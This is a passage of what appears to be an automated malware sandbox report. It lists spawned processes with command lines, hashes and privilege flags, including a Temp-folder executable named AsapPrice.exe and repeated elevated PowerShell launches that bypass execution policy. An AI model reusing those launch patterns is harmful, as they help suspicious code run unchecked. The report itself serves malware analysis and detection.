                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:11
                                                                                                                                                                                                                                                Start time:02:56:47
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:12
                                                                                                                                                                                                                                                Start time:02:56:47
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:13
                                                                                                                                                                                                                                                Start time:02:56:47
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:14
                                                                                                                                                                                                                                                Start time:02:56:47
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:15
                                                                                                                                                                                                                                                Start time:02:56:47
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:16
                                                                                                                                                                                                                                                Start time:02:56:47
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:17
                                                                                                                                                                                                                                                Start time:02:56:47
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:18
                                                                                                                                                                                                                                                Start time:02:56:49
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --mojo-platform-channel-handle=2196 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                                                                                                                                                                                                                                                Imagebase:0x7ff79c710000
                                                                                                                                                                                                                                                File size:160'143'360 bytes
                                                                                                                                                                                                                                                MD5 hash:E9DFAA053710AE038CB4741FBE77E9D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:false

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:19
                                                                                                                                                                                                                                                Start time:02:56:53
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
                                                                                                                                                                                                                                                Imagebase:0x7ff6fc770000
                                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:20
                                                                                                                                                                                                                                                Start time:02:56:53
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:21
                                                                                                                                                                                                                                                Start time:02:56:53
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
                                                                                                                                                                                                                                                Imagebase:0x7ff73e200000
                                                                                                                                                                                                                                                File size:36'352 bytes
                                                                                                                                                                                                                                                MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:22
                                                                                                                                                                                                                                                Start time:02:56:53
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:23
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:24
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:25
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:26
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:27
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:28
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:29
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:30
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:31
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:32
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:33
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:34
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:35
                                                                                                                                                                                                                                                Start time:02:56:54
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:38
                                                                                                                                                                                                                                                Start time:02:57:06
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:39
                                                                                                                                                                                                                                                Start time:02:57:06
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:40
                                                                                                                                                                                                                                                Start time:02:57:08
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:41
                                                                                                                                                                                                                                                Start time:02:57:08
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:42
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:43
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:44
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:45
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                                Imagebase:0x7ff760310000
                                                                                                                                                                                                                                                File size:452'608 bytes
                                                                                                                                                                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:46
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                Imagebase:0x7ff70f010000
                                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Target ID:47
                                                                                                                                                                                                                                                Start time:02:57:10
                                                                                                                                                                                                                                                Start date:14/01/2025
                                                                                                                                                                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                Wow64 process (32bit):false
